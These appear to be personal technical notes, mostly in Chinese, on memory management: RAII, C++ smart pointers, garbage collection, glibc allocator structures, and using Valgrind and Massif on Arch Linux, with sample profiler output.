==12380==  main thread stack using the --main-stacksize= flag.
==12380==  The main thread stack size used in this run was 8388608.
==12380==
==12380== HEAP SUMMARY:
==12380==     in use at exit: 0 bytes in 0 blocks
==12380==   total heap usage: 0 allocs, 0 frees, 0 bytes allocated
==12380==
==12380== All heap blocks were freed -- no leaks are possible
==12380==
==12380== For counts of detected and suppressed errors, rerun with: -v
==12380== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)

RAII (Resource Acquisition Is Initialization)¶

RAII 為在數個 OO 語言中使用的 programming idiom，為 C++ 於 1984 到 1989 年間發展出來，主要由 Bjarne Stroustrup 和 Andrew Koenig 來完成，後來也用於 D、Ada、Vala、Rust 等語言。

主要概念為把資源和物件的 lifetime 綁在一起，當物件由 constructor 建立時，就做 resource allocation，當物件由 destructor 拆掉時，就做 resource deallocation，如此一來只要物件正常的拆掉，就不會有 resource leak 發生。

Ownership ¶

Pointer Ownership Model 會把 pointer 分成好幾個種類來區分出哪些資源需要被回收，而這件事情會在編譯時期做處理，利用靜態分析來得知這些訊息，但是這個靜態分析需要程式設計師在程式中提供一些訊息，藉此才能提供強大的安全保證。

C++ Smart Pointer ¶

在 <memory> 裡有以下幾種 pointer：

unique_ptr
- 獨占的 ownership
- 不可複製
- 可以用 std::move() 轉移所有權
shared_ptr
- 共享的 ownership
- 使用 reference counting
- 當 counter 變成 0 時就做 deallocation
weak_ptr
- 類似 shared_ptr，但是沒有權利做 deallocation
- 不會增加 reference counter 的計算
- 不能用來做資料的存取，主要用來監控 shared_ptr 的狀況

有了 ownership 後只要擁有者都不見了就代表可以清掉，其中 C++ 有好幾種 pointer 來指定 ownership， unique_ptr 可以指定說只有自己是擁有者，自己不用時就可以清掉，不用管其他人， shared_ptr 則是指定說會有多個人分享、使用，當大家都不用時才清掉， weak_ptr 則是和 shared_ptr 類似，但是沒有清除的權利，也不會被算進資源的使用者裡，當 shared_ptr 要清掉時，不用理 weak_ptr

Garbage Collection ¶

和前面提到自己管理記憶體的狀況相反的是自動管理記憶體，這邊所要提的 Gabrage Collection 就是自動管理的一個方式。 Garbage Collection 不自己寫說要在什麼時候把記憶體回收，而是等程式發現沒人要用的時候再自動回收，缺點就是要多花點時間和記憶體，以及不確定回收的時間點，優點就是不自己經手那些管理，可以減少出現 double free、dangling pointer 之類的 bug。

Garbage Collection 這樣的技術早在 1959 年就由 John McCarthy 發明，用來解決 Lisp 上的一些問題。至今使用 Garbage Collection 的程式語言很多，知名的 Java、Python、Ruby、Lua、Go 皆在這當中。

Garbage Collection 主要分成兩大種類：

reference counting
tracing garbage collectors

Reference Counting ¶

reference counting 就是在每個 object 後附上一個計數器，有人用到就加一，不用了就減一，當變成 0 時就代表沒有人在用了，也就是說可以清掉，此時再自動做記憶體的回收。

優點是好實作，缺點是每個 object 都需要一個計數器，會多消耗一些記憶體，另外如果有人互相使用的話就會形成 cycle，此時計數器就永遠不會變成 0，因此會需要額外的 cycle 偵測的演算法來處理。

Tracing Garbage Collectors ¶

tracing garbage collectors 的概念則是一段時間後去爬那些給出去的記憶體，看看有誰沒在用，沒在用的就清掉。

tracing garbage collectors 有很多種實作方式，不同實作方式會有不同的優缺點以及適合的狀況。

Basic Algorithm ¶

mark-and-sweep

最簡單的概念就是 mark-and-sweep，爬過使用清單上的 object 做標記，最後沒做到標記的 object 就是沒在用的，此時就可以清掉。

Strategies ¶

由於 tracing garbage collectors 這邊依照實作的方式不同，結果會有極大的差異，所以當中又可以列出幾個實作的策略方向。

Generational
Incremental

Cases ¶

Python
- CPython : GC with reference counting
- PyPy : GC with incremental generational tracing (incminimark)

Allocator Implementations ¶

dlmalloc
- general purpose allocator
ptmalloc2
- 改自 dlmalloc
- glibc 內建使用的 memory allocator
jemalloc
- 從 FreeBSD 7.0 和 NetBSD 5.0 開始，兩個 OS 上的 malloc 使用 Jason Evans 寫的 jemalloc 取代舊有的 phkmalloc
- 用於 Firefox
tcmalloc
- thread-caching malloc
- Google 開發的 malloc
nedmalloc
hoard
libumem
- 用於 Solaris

ptmalloc2 是在 2006 年從 dlmalloc fork 出去，並且加上 multithreading 支援的版本，後來取代 dlmalloc 成為 linux 上內建的 memory allocator。

ptmalloc ¶

// C

struct malloc_chunk {

    INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
    INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

    struct malloc_chunk* fd;         /* double links -- used only if free. */
    struct malloc_chunk* bk;

    /* Only used for large blocks: pointer to next larger size.  */
    struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
    struct malloc_chunk* bk_nextsize;
};

Debugging Data Format ¶

Reference ¶

Ownership ¶

DWARF ¶

Wikipedia ¶

Memory Profiling ¶

Table of Contents

Introduction ¶

Tools ¶

Valgrind
- Massif - Heap profiling
- DHAT - Dynamic Heap Analysis Tool (experimental)
IgProf
Heaptrack
Deep Memory Profiler

Current Version ¶

Valgrind

3.10.1

Valgrind ¶

Bug Reports
- KDE 讓 Valgrind 可以使用他們的 Bugzilla
irc : freenode #valgrind-dev

架構 ¶

Valgrind 的 command 其實只是個 wrapper (wrapper 的 source code 為 repo 裡的 coregrind/launcher-linux.c)，每個 plugin 都是一個執行檔， plugin 都放在 /usr/lib/valgrind/ 裡面 (on Arch Linux)， command 會設定一些環境變數後執行指定的 plugin。

Valgrind 內部有 VEX IR (RISC-like)，會先把要跑的 binary 轉成內部的 VEX IR，在這之上做處理，底下再用 Virtual Machine 轉回去 Host Machine 的指令集來執行。

Valgrind 的每個 plugin 都是依照 Valgrind 提供的 framework 來撰寫，最後整個 link 成執行檔。

執行的大概狀況 (待補資訊)：:

    /usr/bin/valgrind --tool=XXX ./myprogram
=>  execve /usr/lib/valgrind/XXX-amd64-linux ...
=>  open myprogram
=>  load preload /usr/lib/valgrind/vgpreload_XXX-amd64-linux.so
=>  other tool's stuff

Installation ¶

command：

$ pacman -S valgrind    # Arch Linux

files：

$ pacman -Ql valgrind   # Arch Linux

Valgrind’s files (install on Arch Linux)：

valgrind /usr/
valgrind /usr/bin/
valgrind /usr/bin/callgrind_annotate
valgrind /usr/bin/callgrind_control
valgrind /usr/bin/cg_annotate
valgrind /usr/bin/cg_diff
valgrind /usr/bin/cg_merge
valgrind /usr/bin/ms_print
valgrind /usr/bin/valgrind
valgrind /usr/bin/valgrind-di-server
valgrind /usr/bin/valgrind-listener
valgrind /usr/bin/vgdb
valgrind /usr/include/
valgrind /usr/include/valgrind/
valgrind /usr/include/valgrind/callgrind.h
valgrind /usr/include/valgrind/config.h
valgrind /usr/include/valgrind/drd.h
valgrind /usr/include/valgrind/helgrind.h
valgrind /usr/include/valgrind/libvex.h
valgrind /usr/include/valgrind/libvex_basictypes.h
valgrind /usr/include/valgrind/libvex_emnote.h
valgrind /usr/include/valgrind/libvex_guest_amd64.h
valgrind /usr/include/valgrind/libvex_guest_arm.h
valgrind /usr/include/valgrind/libvex_guest_arm64.h
valgrind /usr/include/valgrind/libvex_guest_mips32.h
valgrind /usr/include/valgrind/libvex_guest_mips64.h
valgrind /usr/include/valgrind/libvex_guest_offsets.h
valgrind /usr/include/valgrind/libvex_guest_ppc32.h
valgrind /usr/include/valgrind/libvex_guest_ppc64.h
valgrind /usr/include/valgrind/libvex_guest_s390x.h
valgrind /usr/include/valgrind/libvex_guest_x86.h
valgrind /usr/include/valgrind/libvex_ir.h
valgrind /usr/include/valgrind/libvex_s390x_common.h
valgrind /usr/include/valgrind/libvex_trc_values.h
valgrind /usr/include/valgrind/memcheck.h
valgrind /usr/include/valgrind/pub_tool_addrinfo.h
valgrind /usr/include/valgrind/pub_tool_aspacehl.h
valgrind /usr/include/valgrind/pub_tool_aspacemgr.h
valgrind /usr/include/valgrind/pub_tool_basics.h
valgrind /usr/include/valgrind/pub_tool_basics_asm.h
valgrind /usr/include/valgrind/pub_tool_clientstate.h
valgrind /usr/include/valgrind/pub_tool_clreq.h
valgrind /usr/include/valgrind/pub_tool_debuginfo.h
valgrind /usr/include/valgrind/pub_tool_deduppoolalloc.h
valgrind /usr/include/valgrind/pub_tool_errormgr.h
valgrind /usr/include/valgrind/pub_tool_execontext.h
valgrind /usr/include/valgrind/pub_tool_gdbserver.h
valgrind /usr/include/valgrind/pub_tool_hashtable.h
valgrind /usr/include/valgrind/pub_tool_libcassert.h
valgrind /usr/include/valgrind/pub_tool_libcbase.h
valgrind /usr/include/valgrind/pub_tool_libcfile.h
valgrind /usr/include/valgrind/pub_tool_libcprint.h
valgrind /usr/include/valgrind/pub_tool_libcproc.h
valgrind /usr/include/valgrind/pub_tool_libcsetjmp.h
valgrind /usr/include/valgrind/pub_tool_libcsignal.h
valgrind /usr/include/valgrind/pub_tool_machine.h
valgrind /usr/include/valgrind/pub_tool_mallocfree.h
valgrind /usr/include/valgrind/pub_tool_options.h
valgrind /usr/include/valgrind/pub_tool_oset.h
valgrind /usr/include/valgrind/pub_tool_poolalloc.h
valgrind /usr/include/valgrind/pub_tool_rangemap.h
valgrind /usr/include/valgrind/pub_tool_redir.h
valgrind /usr/include/valgrind/pub_tool_replacemalloc.h
valgrind /usr/include/valgrind/pub_tool_seqmatch.h
valgrind /usr/include/valgrind/pub_tool_signals.h
valgrind /usr/include/valgrind/pub_tool_sparsewa.h
valgrind /usr/include/valgrind/pub_tool_stacktrace.h
valgrind /usr/include/valgrind/pub_tool_threadstate.h
valgrind /usr/include/valgrind/pub_tool_tooliface.h
valgrind /usr/include/valgrind/pub_tool_vki.h
valgrind /usr/include/valgrind/pub_tool_vkiscnums.h
valgrind /usr/include/valgrind/pub_tool_vkiscnums_asm.h
valgrind /usr/include/valgrind/pub_tool_wordfm.h
valgrind /usr/include/valgrind/pub_tool_xarray.h
valgrind /usr/include/valgrind/valgrind.h
valgrind /usr/include/valgrind/vki/
valgrind /usr/include/valgrind/vki/vki-amd64-linux.h
valgrind /usr/include/valgrind/vki/vki-arm-linux.h
valgrind /usr/include/valgrind/vki/vki-arm64-linux.h
valgrind /usr/include/valgrind/vki/vki-darwin.h
valgrind /usr/include/valgrind/vki/vki-linux-drm.h
valgrind /usr/include/valgrind/vki/vki-linux.h
valgrind /usr/include/valgrind/vki/vki-mips32-linux.h
valgrind /usr/include/valgrind/vki/vki-mips64-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-amd64-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-arm-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-arm64-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-mips32-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-mips64-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-ppc32-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-ppc64-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-s390x-linux.h
valgrind /usr/include/valgrind/vki/vki-posixtypes-x86-linux.h
valgrind /usr/include/valgrind/vki/vki-ppc32-linux.h
valgrind /usr/include/valgrind/vki/vki-ppc64-linux.h
valgrind /usr/include/valgrind/vki/vki-s390x-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-amd64-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-arm-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-arm64-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-darwin.h
valgrind /usr/include/valgrind/vki/vki-scnums-mips32-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-mips64-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-ppc32-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-ppc64-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-s390x-linux.h
valgrind /usr/include/valgrind/vki/vki-scnums-x86-linux.h
valgrind /usr/include/valgrind/vki/vki-x86-linux.h
valgrind /usr/include/valgrind/vki/vki-xen-domctl.h
valgrind /usr/include/valgrind/vki/vki-xen-evtchn.h
valgrind /usr/include/valgrind/vki/vki-xen-gnttab.h
valgrind /usr/include/valgrind/vki/vki-xen-hvm.h
valgrind /usr/include/valgrind/vki/vki-xen-memory.h
valgrind /usr/include/valgrind/vki/vki-xen-mmuext.h
valgrind /usr/include/valgrind/vki/vki-xen-sysctl.h
valgrind /usr/include/valgrind/vki/vki-xen-tmem.h
valgrind /usr/include/valgrind/vki/vki-xen-version.h
valgrind /usr/include/valgrind/vki/vki-xen-x86.h
valgrind /usr/include/valgrind/vki/vki-xen.h
valgrind /usr/lib/
valgrind /usr/lib/pkgconfig/
valgrind /usr/lib/pkgconfig/valgrind.pc
valgrind /usr/lib/valgrind/
valgrind /usr/lib/valgrind/32bit-core-valgrind-s1.xml
valgrind /usr/lib/valgrind/32bit-core-valgrind-s2.xml
valgrind /usr/lib/valgrind/32bit-core.xml
valgrind /usr/lib/valgrind/32bit-linux-valgrind-s1.xml
valgrind /usr/lib/valgrind/32bit-linux-valgrind-s2.xml
valgrind /usr/lib/valgrind/32bit-linux.xml
valgrind /usr/lib/valgrind/32bit-sse-valgrind-s1.xml
valgrind /usr/lib/valgrind/32bit-sse-valgrind-s2.xml
valgrind /usr/lib/valgrind/32bit-sse.xml
valgrind /usr/lib/valgrind/64bit-avx-valgrind-s1.xml
valgrind /usr/lib/valgrind/64bit-avx-valgrind-s2.xml
valgrind /usr/lib/valgrind/64bit-avx.xml
valgrind /usr/lib/valgrind/64bit-core-valgrind-s1.xml
valgrind /usr/lib/valgrind/64bit-core-valgrind-s2.xml
valgrind /usr/lib/valgrind/64bit-core.xml
valgrind /usr/lib/valgrind/64bit-linux-valgrind-s1.xml
valgrind /usr/lib/valgrind/64bit-linux-valgrind-s2.xml
valgrind /usr/lib/valgrind/64bit-linux.xml
valgrind /usr/lib/valgrind/64bit-sse-valgrind-s1.xml
valgrind /usr/lib/valgrind/64bit-sse-valgrind-s2.xml
valgrind /usr/lib/valgrind/64bit-sse.xml
valgrind /usr/lib/valgrind/amd64-avx-coresse-valgrind.xml
valgrind /usr/lib/valgrind/amd64-avx-coresse.xml
valgrind /usr/lib/valgrind/amd64-avx-linux-valgrind.xml
valgrind /usr/lib/valgrind/amd64-avx-linux.xml
valgrind /usr/lib/valgrind/amd64-coresse-valgrind.xml
valgrind /usr/lib/valgrind/amd64-linux-valgrind.xml
valgrind /usr/lib/valgrind/arm-core-valgrind-s1.xml
valgrind /usr/lib/valgrind/arm-core-valgrind-s2.xml
valgrind /usr/lib/valgrind/arm-core.xml
valgrind /usr/lib/valgrind/arm-vfpv3-valgrind-s1.xml
valgrind /usr/lib/valgrind/arm-vfpv3-valgrind-s2.xml
valgrind /usr/lib/valgrind/arm-vfpv3.xml
valgrind /usr/lib/valgrind/arm-with-vfpv3-valgrind.xml
valgrind /usr/lib/valgrind/arm-with-vfpv3.xml
valgrind /usr/lib/valgrind/cachegrind-amd64-linux
valgrind /usr/lib/valgrind/callgrind-amd64-linux
valgrind /usr/lib/valgrind/default.supp
valgrind /usr/lib/valgrind/drd-amd64-linux
valgrind /usr/lib/valgrind/exp-bbv-amd64-linux
valgrind /usr/lib/valgrind/exp-dhat-amd64-linux
valgrind /usr/lib/valgrind/exp-sgcheck-amd64-linux
valgrind /usr/lib/valgrind/getoff-amd64-linux
valgrind /usr/lib/valgrind/helgrind-amd64-linux
valgrind /usr/lib/valgrind/i386-coresse-valgrind.xml
valgrind /usr/lib/valgrind/i386-linux-valgrind.xml
valgrind /usr/lib/valgrind/lackey-amd64-linux
valgrind /usr/lib/valgrind/libcoregrind-amd64-linux.a
valgrind /usr/lib/valgrind/libmpiwrap-amd64-linux.so
valgrind /usr/lib/valgrind/libreplacemalloc_toolpreload-amd64-linux.a
valgrind /usr/lib/valgrind/libvex-amd64-linux.a
valgrind /usr/lib/valgrind/massif-amd64-linux
valgrind /usr/lib/valgrind/memcheck-amd64-linux
valgrind /usr/lib/valgrind/mips-cp0-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips-cp0-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips-cp0.xml
valgrind /usr/lib/valgrind/mips-cpu-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips-cpu-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips-cpu.xml
valgrind /usr/lib/valgrind/mips-fpu-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips-fpu-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips-fpu.xml
valgrind /usr/lib/valgrind/mips-linux-valgrind.xml
valgrind /usr/lib/valgrind/mips-linux.xml
valgrind /usr/lib/valgrind/mips64-cp0-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips64-cp0-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips64-cp0.xml
valgrind /usr/lib/valgrind/mips64-cpu-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips64-cpu-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips64-cpu.xml
valgrind /usr/lib/valgrind/mips64-fpu-valgrind-s1.xml
valgrind /usr/lib/valgrind/mips64-fpu-valgrind-s2.xml
valgrind /usr/lib/valgrind/mips64-fpu.xml
valgrind /usr/lib/valgrind/mips64-linux-valgrind.xml
valgrind /usr/lib/valgrind/mips64-linux.xml
valgrind /usr/lib/valgrind/none-amd64-linux
valgrind /usr/lib/valgrind/power-altivec-valgrind-s1.xml
valgrind /usr/lib/valgrind/power-altivec-valgrind-s2.xml
valgrind /usr/lib/valgrind/power-altivec.xml
valgrind /usr/lib/valgrind/power-core-valgrind-s1.xml
valgrind /usr/lib/valgrind/power-core-valgrind-s2.xml
valgrind /usr/lib/valgrind/power-core.xml
valgrind /usr/lib/valgrind/power-fpu-valgrind-s1.xml
valgrind /usr/lib/valgrind/power-fpu-valgrind-s2.xml
valgrind /usr/lib/valgrind/power-fpu.xml
valgrind /usr/lib/valgrind/power-linux-valgrind-s1.xml
valgrind /usr/lib/valgrind/power-linux-valgrind-s2.xml
valgrind /usr/lib/valgrind/power-linux.xml
valgrind /usr/lib/valgrind/power64-core-valgrind-s1.xml
valgrind /usr/lib/valgrind/power64-core-valgrind-s2.xml
valgrind /usr/lib/valgrind/power64-core.xml
valgrind /usr/lib/valgrind/power64-linux-valgrind-s1.xml
valgrind /usr/lib/valgrind/power64-linux-valgrind-s2.xml
valgrind /usr/lib/valgrind/power64-linux.xml
valgrind /usr/lib/valgrind/powerpc-altivec32l-valgrind.xml
valgrind /usr/lib/valgrind/powerpc-altivec32l.xml
valgrind /usr/lib/valgrind/powerpc-altivec64l-valgrind.xml
valgrind /usr/lib/valgrind/powerpc-altivec64l.xml
valgrind /usr/lib/valgrind/s390-acr-valgrind-s1.xml
valgrind /usr/lib/valgrind/s390-acr-valgrind-s2.xml
valgrind /usr/lib/valgrind/s390-acr.xml
valgrind /usr/lib/valgrind/s390-fpr-valgrind-s1.xml
valgrind /usr/lib/valgrind/s390-fpr-valgrind-s2.xml
valgrind /usr/lib/valgrind/s390-fpr.xml
valgrind /usr/lib/valgrind/s390x-core64-valgrind-s1.xml
valgrind /usr/lib/valgrind/s390x-core64-valgrind-s2.xml
valgrind /usr/lib/valgrind/s390x-core64.xml
valgrind /usr/lib/valgrind/s390x-generic-valgrind.xml
valgrind /usr/lib/valgrind/s390x-generic.xml
valgrind /usr/lib/valgrind/s390x-linux64-valgrind-s1.xml
valgrind /usr/lib/valgrind/s390x-linux64-valgrind-s2.xml
valgrind /usr/lib/valgrind/s390x-linux64.xml
valgrind /usr/lib/valgrind/vgpreload_core-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_drd-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_exp-dhat-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_exp-sgcheck-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_helgrind-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_massif-amd64-linux.so
valgrind /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so
valgrind /usr/share/
valgrind /usr/share/doc/
valgrind /usr/share/doc/valgrind/
valgrind /usr/share/doc/valgrind/html/
valgrind /usr/share/doc/valgrind/html/FAQ.html
valgrind /usr/share/doc/valgrind/html/QuickStart.html
valgrind /usr/share/doc/valgrind/html/bbv-manual.html
valgrind /usr/share/doc/valgrind/html/cg-manual.html
valgrind /usr/share/doc/valgrind/html/cl-format.html
valgrind /usr/share/doc/valgrind/html/cl-manual.html
valgrind /usr/share/doc/valgrind/html/design-impl.html
valgrind /usr/share/doc/valgrind/html/dh-manual.html
valgrind /usr/share/doc/valgrind/html/dist.authors.html
valgrind /usr/share/doc/valgrind/html/dist.html
valgrind /usr/share/doc/valgrind/html/dist.news.html
valgrind /usr/share/doc/valgrind/html/dist.news.old.html
valgrind /usr/share/doc/valgrind/html/dist.readme-android.html
valgrind /usr/share/doc/valgrind/html/dist.readme-android_emulator.html
valgrind /usr/share/doc/valgrind/html/dist.readme-developers.html
valgrind /usr/share/doc/valgrind/html/dist.readme-mips.html
valgrind /usr/share/doc/valgrind/html/dist.readme-missing.html
valgrind /usr/share/doc/valgrind/html/dist.readme-packagers.html
valgrind /usr/share/doc/valgrind/html/dist.readme-s390.html
valgrind /usr/share/doc/valgrind/html/dist.readme.html
valgrind /usr/share/doc/valgrind/html/drd-manual.html
valgrind /usr/share/doc/valgrind/html/faq.html
valgrind /usr/share/doc/valgrind/html/hg-manual.html
valgrind /usr/share/doc/valgrind/html/images/
valgrind /usr/share/doc/valgrind/html/images/home.png
valgrind /usr/share/doc/valgrind/html/images/next.png
valgrind /usr/share/doc/valgrind/html/images/prev.png
valgrind /usr/share/doc/valgrind/html/images/up.png
valgrind /usr/share/doc/valgrind/html/index.html
valgrind /usr/share/doc/valgrind/html/license.gfdl.html
valgrind /usr/share/doc/valgrind/html/license.gpl.html
valgrind /usr/share/doc/valgrind/html/licenses.html
valgrind /usr/share/doc/valgrind/html/lk-manual.html
valgrind /usr/share/doc/valgrind/html/manual-core-adv.html
valgrind /usr/share/doc/valgrind/html/manual-core.html
valgrind /usr/share/doc/valgrind/html/manual-intro.html
valgrind /usr/share/doc/valgrind/html/manual-writing-tools.html
valgrind /usr/share/doc/valgrind/html/manual.html
valgrind /usr/share/doc/valgrind/html/mc-manual.html
valgrind /usr/share/doc/valgrind/html/ms-manual.html
valgrind /usr/share/doc/valgrind/html/nl-manual.html
valgrind /usr/share/doc/valgrind/html/quick-start.html
valgrind /usr/share/doc/valgrind/html/sg-manual.html
valgrind /usr/share/doc/valgrind/html/tech-docs.html
valgrind /usr/share/doc/valgrind/html/vg_basic.css
valgrind /usr/share/doc/valgrind/valgrind_manual.pdf
valgrind /usr/share/doc/valgrind/valgrind_manual.ps
valgrind /usr/share/man/
valgrind /usr/share/man/man1/
valgrind /usr/share/man/man1/callgrind_annotate.1.gz
valgrind /usr/share/man/man1/callgrind_control.1.gz
valgrind /usr/share/man/man1/cg_annotate.1.gz
valgrind /usr/share/man/man1/cg_diff.1.gz
valgrind /usr/share/man/man1/cg_merge.1.gz
valgrind /usr/share/man/man1/ms_print.1.gz
valgrind /usr/share/man/man1/valgrind-listener.1.gz
valgrind /usr/share/man/man1/valgrind.1.gz
valgrind /usr/share/man/man1/vgdb.1.gz

Performance Monitoring Kernel Interface ¶

[TODO]

perfctr
perfmon2
perf_events
- http://www.brendangregg.com/perf.html

Valgrind Plugins ¶

Valgrind - Massif ¶

Massif 是一個 heap profiler，利用定期對程式的 heap 做 snapshots 來做 profiling，分析 heap 的使用量，以及多少的記憶體是為了 book-keeping 或是 alignment 而花費掉的，也可以測量 stack 的使用量 (預設沒開)，最後產生出 graph 來呈現 heap 在各個時間點的使用量，並且包含程式的哪部份用了最多的 memory allocations，圖可以在 terminal 上直接呈現，但是執行 Massif 會讓程式慢大約 20 倍。

每次 heap 做 allocation 或是 deallocation 的時候 Massif 就會做 snapshot，預設最多保留 100 個 snapshot，但是可以用 --max-snapshots 參數來調整，大部分的 snapshot 為 normal snapshot (只紀錄基本的資訊)，這種 snapshot 在圖上會用 : 來表示，少部份為 detailed snapshot (會包含更多資訊)，這種 snapshot 在圖上會用 @ 來表示，最後還有一種叫作 peak snapshot， peak snapshot 是 detailed snapshot 的一種，但是是記憶體使用量最高的地方，這種 snapshot 在圖上會用 # 來表示。

Massif 預設是紀錄透過 malloc、calloc、realloc、memalign、new、new[] 等等 function 來取得的記憶體，而不是更低階的 mmap、mremap、brk system call，也不會紀錄其他區塊的大小 (例如 code、data、BSS segments)，但是可以用 --pages-as-heap=yes 參數來把所有的 memory pages 都紀錄起來 (當然包含 stack)

編譯你的程式的時候當然最好使用 -g 來加上 debug info 再來執行，這樣可以取得更多資訊。

Massif 的執行結果預設會寫到叫作 massif.out.<pid> 的檔案，可以用 --massif-out-file 參數來更改。

使用參數：

--tool=massif : 選擇使用 massif
--stacks=yes : 也紀錄 stack 的使用量

生出的結果可以用 ms_print 指令來觀看，例如：

$ ms_print massif.out.18904
--------------------------------------------------------------------------------
Command:            ./a.out
Massif arguments:   --time-unit=B
ms_print arguments: massif.out.18904
--------------------------------------------------------------------------------


     B
  120^                                    ###################################
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
     |                                    #
   0 +----------------------------------------------------------------------->B
     0                                                                     240

Number of snapshots: 4
 Detailed snapshots: [2 (peak)]

--------------------------------------------------------------------------------
  n        time(B)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
  0              0                0                0             0            0
  1            120              120              100            20            0
  2            120              120              100            20            0
83.33% (100B) (heap allocation functions) malloc/new/new[], --alloc-fns, etc.
->83.33% (100B) 0x400556: main (single-heap-more-char.c:4)

--------------------------------------------------------------------------------
  n        time(B)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
  3            240                0                0             0            0

$ ms_print massif.out.18829
--------------------------------------------------------------------------------
Command:            ./a.out
Massif arguments:   --stacks=yes
ms_print arguments: massif.out.18868
--------------------------------------------------------------------------------


    KB
3.125^         ##
     |         # @
     |         # @
     |      :  # @
     |      :  # @
     |    : : :# @
     |    : : :# @
     |    : : :# @
     |    ::: :# @
     |    ::: :# @
     |    ::: :# @
     |    ::: :# @             : :: ::::  : :   :            ::       ::    @
     |    ::: :# @             : :: : ::  : :   :            ::  : :  ::    @
     |    ::: :# @             : :::: ::: :::@ ::::::  :@ : ::: ::@:::::  : @
     |    :::::# @             :::::: :::::::@::::::::::@:: ::: ::@:::::  : @
     |    :::::# @ :         :::::::: :::::::@::::::::::@::::@::::@::::@  : @
     |  : :::::# @::::::::::::::::::: :::::::@::::::::::@::::@::::@::::@::: @
     | ::::::::# @:::        :::::::: :::::::@::::::::::@::::@::::@::::@::::@
     |:::::::::# @:::        :::::::: :::::::@::::::::::@::::@::::@::::@::::@:
     |:::::::::# @:::        :::::::: :::::::@::::::::::@::::@::::@::::@::::@:
   0 +----------------------------------------------------------------------->ki
     0                                                                   124.6

Number of snapshots: 92
 Detailed snapshots: [12 (peak), 13, 14, 36, 47, 57, 67, 77, 87]

--------------------------------------------------------------------------------
  n        time(i)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
  0              0                0                0             0            0
  1          1,492              472                0             0          472
  2          3,046              584                0             0          584
  3          4,046              752                0             0          752
  4          5,748              592                0             0          592
  5          7,178            2,472                0             0        2,472
  6          8,346              600                0             0          600
  7         10,002            2,048                0             0        2,048
  8         11,537            2,720                0             0        2,720
  9         12,774            1,008                0             0        1,008
 10         14,855            2,448                0             0        2,448
 11         16,354            2,496                0             0        2,496
 12         17,461            3,200                0             0        3,200
00.00% (0B) (heap allocation functions) malloc/new/new[], --alloc-fns, etc.

...

--------------------------------------------------------------------------------
  n        time(i)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
 78        117,027              280                0             0          280
 79        117,910              280                0             0          280
 80        118,710              744                0             0          744
 81        119,512              400                0             0          400
 82        120,315              704                0             0          704
 83        121,182            1,160              100            20        1,040
 84        121,999              664                0             0          664
 85        122,815              456                0             0          456
 86        123,628              520                0             0          520
 87        124,428            1,440                0             0        1,440
00.00% (0B) (heap allocation functions) malloc/new/new[], --alloc-fns, etc.
...

$ ms_print massif.out.21469
--------------------------------------------------------------------------------
Command:            ./a.out
Massif arguments:   --time-unit=B --pages-as-heap=yes
ms_print arguments: massif.out.21469
--------------------------------------------------------------------------------


    MB
5.996^                                                                       :
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                                                                    ::#:
     |                         :::::::::::::::::::::::::::::::::::::::::::::#:
     |                         ::                                         ::#:
     |                         ::                                         ::#:
     |                         ::                                         ::#:
     |                         ::                                         ::#:
     |                         ::                                         ::#:
     |                         ::                                         ::#:
   0 +----------------------------------------------------------------------->MB
     0                                                                   6.230

Number of snapshots: 21
 Detailed snapshots: [9, 18 (peak)]

--------------------------------------------------------------------------------
  n        time(B)         total(B)   useful-heap(B) extra-heap(B)    stacks(B)
--------------------------------------------------------------------------------
  0          4,096            4,096            4,096             0            0
  1          8,192            8,192            8,192             0            0
  2        147,456          147,456          147,456             0            0
  3        155,648          155,648          155,648             0            0
  4        159,744          159,744          159,744             0            0
  5        163,840          163,840          163,840             0            0
  6        167,936          167,936          167,936             0            0
  7        176,128          176,128          176,128             0            0
  8        180,224          180,224          180,224             0            0
  9        180,224          180,224          180,224             0            0
